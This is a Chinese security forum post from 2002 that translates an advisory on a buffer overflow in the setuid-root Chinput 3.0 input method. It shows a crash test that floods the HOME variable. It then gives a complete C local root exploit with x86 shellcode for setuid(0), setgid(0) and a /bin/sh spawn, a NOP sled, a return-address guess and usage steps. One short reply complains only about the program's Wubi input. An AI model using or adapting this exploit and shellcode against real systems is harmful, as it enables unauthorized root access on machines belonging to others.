论坛: 菜鸟乐园 标题: Chinput缓冲溢出漏洞 复制本贴地址    
作者: group [group]    论坛用户   登录

翻译www.unsecret.org

发布日期:Jan 16 2002 2:43PM 
发布人:xperc <xperc@hotmail.com> 

Chinput有一个可以用来获取本地Root权限的漏洞。

以下是相关代码

$ls -l /usr/bin/chinput
-rwsr-xr-x 1 root root 317272 Jan 15 21:31 
/usr/bin/chinput
$export HOME=`perl -e 'print "a"x800'`
$/usr/bin/chinput
Segmentation fault


/* local exploit for Chinput 3.0 
* .. tested in TurboLinux 6.5 with kernel 2.2.18

* Usage: $gcc chinput_exp.c
* $./a.out
* bash-2.04$ /usr/bin/chinput

* by xperc@hotmail.com
* 2002/1/16
*/

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define OFS 0x1f0

unsigned long get_esp()
{
__asm__("mov %esp,%eax");
}

char *shellcode=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /*
setuid=0 */
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" /*
setgid=0 */
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b"
"\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56"
"\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
"\xff\xff\xff/bin/sh";


char s[512];
char *s1;

int main()
{
strcpy(s,"HOME=");
s1=s+5;
while(s1<s+260+5-strlen(shellcode)) 
*(s1++)=NOP;

while(*shellcode) 
*(s1++)=*(shellcode++);
*((unsigned long *)s1)=get_esp()-OFS;
printf("Jump to: %p\n",*((long *)s1));
s1+=4;
*s1=0;
putenv(s);
system("bash");
}


发布日期:2002年1月16日


地主 发表时间: 01/21 20:00

回复: songyi1999 [songyi1999]   论坛用户   登录
RH7.2上的Chinput我不喜欢它的五笔编码好怪连一级简码都往后排了另外有时出不来.
我另写了一个shellscript才解决.

B1层 发表时间: 01/21 23:21

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号